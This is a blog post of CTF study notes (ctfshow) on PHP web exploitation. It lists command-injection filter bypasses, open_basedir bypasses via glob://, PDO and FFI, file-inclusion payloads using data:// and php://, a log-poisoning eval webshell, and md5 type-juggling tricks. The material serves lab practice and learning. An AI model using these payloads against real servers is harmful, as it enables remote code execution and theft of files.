首页 > 其他分享 >cftshow 随笔

cftshow 随笔

时间:2023-07-26 13:33:19浏览次数:37  
标签:php intval echo PWD file 随笔 cftshow md5

命令执行

过滤;可以用%0a代替

绕过黑洞

2>/dev/null 意思就是把错误输出到“黑洞” >/dev/null 2>&1 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”

%09   ${IFS}  <>  <可以代替空格

?     ''    可以代替 *

*可以代替0个及以上任意字符

?可以代表1个任意字符

 

查看文件 cat tac nl more paste  系统命令

php自带命令 show_source

 

上传临时文件rce   参考文章  :https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

当出现黑洞时加exit();

 

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
c=$a="glob:///*.txt";if($b=opendir($a)){while(($file=readdir($b))!==false){echo "filename:".$file."\n";}closedir($b);}exit();
 
 
调用phpsql语句查询
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
使用FFI,PHP>=7.4
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
内置命令
# echo ${PWD}
/root

# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/

# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}
t

# echo ${PWD:~A} #所以字母和0具有同样作用
t

# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

文件包含

?file=data://text/plain,<?=system("tac%20flag.php");?>

?file=Php://input   再post:<?php system("tac flag.php");?>

?file=php://filter/read=convert.base64-encode/resource=flag.php

包含日志文件 ua头注入
?file=/var/log/nginx/access.log
修改UA为:<?php @eval($_REQUEST[1])?>

php特性

intval()函数用于获取变量的整数值。intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量var的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。也就是说,当给intval()函数传入一个非空的数组时,intval()函数将会返回1
image

if(preg_match('/^php$/im', $a))           #/i表示匹配大小写,/m表示多行匹配
/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。

但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。
payload:?cmd=aaa%0aphp

image

if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
强类型转换,利用md5数组返回false  false=false 通过判断
payload:a[]=1&b[]=1

echo new ReflectionClass('ctfshow');  反射获取类
100
绕过md5、sha1
以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
以下值在sha1加密后以0E开头:

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
双重MD5加密后0E开头:

7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk

标签:php,intval,echo,PWD,file,随笔,cftshow,md5
From: https://www.cnblogs.com/aacjlokl/p/16747938.html

相关文章

  • 「闲话随笔」把朋友交给权力
    「闲话随笔」把朋友交给权力点击查看目录目录「闲话随笔」把朋友交给权力[ARC124E]PasstoNextP9409『STA-R2』交朋友[ARC106D]Powers解释标题:今天第一个题的题目名称提出来「Pass」和「to」,第二个题的题目名称提出来「friends」,第三个题的题目名称提出来「powers」,......
  • 随笔02---JavaSE基础知识
    (1)基本数据类型:八大基本数据类型:1、整数类型:byte占1字节short占2字节int占4字节long占8字节(定义时后面加L)2、浮点数类型:float占4字节(后加F)double占8字节3、字符类型:char占2字节4、布尔类型:boolean占1个比特位(1bit)(2)引用数据类型:类、接口、数组-------------......
  • jmeter随笔
    作用域:作用于整个“测试计划5722在启动运行时,获取一次值,在运行过程中,不会动态获取值,在运行过程中,值一直都不变用户参数·前置处理器局部变量作用域:作用于当前线程组或当前的取样器在启动运行时,获取一次值,在运行过程中,还会动态获取值.  ......
  • powershell随笔
    目录powershell随笔字符串相关函数-match-replace格式化操作子表达式资源网站powershell随笔忘记时来看。。。字符串相关函数-match#Format[value]#LogicMatchesatleastoneofthecharactersinthebrackets."big"-match"b[iou]g"Powershell-Regular......
  • 数据库学习复习随笔(JDBC没保存)
    数据库基础语法SQL常用语句总结-知乎(zhihu.com)链接table1JIONtable2ON链接条件--不加就是自然链接数据表的类型逆向查看语句SHOW逆向查看表的结构DESC数据库引擎--关于数据库引擎/*INNODBMYISM以前使用的*/ MYISAMINNODB事物支持不 数据行锁......
  • 第一篇随笔
    写在前面的话:这个博客随性而建,用于记录学习记录,说起来有点绕,比较随意,希望可以坚持下去。写一个这一月的安排:pwnable.kr上的刷题记录vulnhub上的打靶记录xv6-labs(如果还有时间的话)希望可以坚持下去......
  • 个人随笔 —— 基于 go 语言实现的轻量化 workflow 分布式引擎插件
    背景组内有很多项目都涉及复杂的任务流场景:集群创建、删除等生命周期管理k8s资源申请销毁....这些场景都有几个共同的特点:流程耗时且步骤复杂,需要几十步操作,其中包含云资源申请、脚本执行、接口调用等,且相互存在依赖关系。任务量随着业务增长而快速迭代,比如每个集群每......
  • Java随笔
    2023.07.19关于java当中size和length的使用,在工作当中,没有对size和length有一个明确的概念,总是能.出来哪一个就用哪一个。1/**2*.length是数组的基本属性.3*.size()是集合的方法,集合是一个容器,用长度来形容不合适.4*.length()是字符串的方法,用于统计字符串......
  • 暑假集训随笔2 主席树/二维树状数组
    P4514上帝造题的七分钟题意维护对二维平面上的矩形区域各元素进行加法以及对矩形区域求和链接:https://www.luogu.com.cn/problem/P4514思路通过二维树状数组维护的二维前缀和利用差分实现矩形区域的区间加法与区间求和。具体而言,二维的前缀和可以仿照一维的前缀和进行定义......
  • 随笔(二十五)『3个线程交替输出1-100、交替输出ABC』
    1、3个线程交替输出1-100/***需求:*3个线程交替输出1-100*/publicclassTestPrint1_100{privateIntegerstate=1;//状态值1-t1执行,2-t2执行,3-t3执行privateIntegercount=1;//循环次数初始值publicvoidprint1_100(TestPrint1_100pri......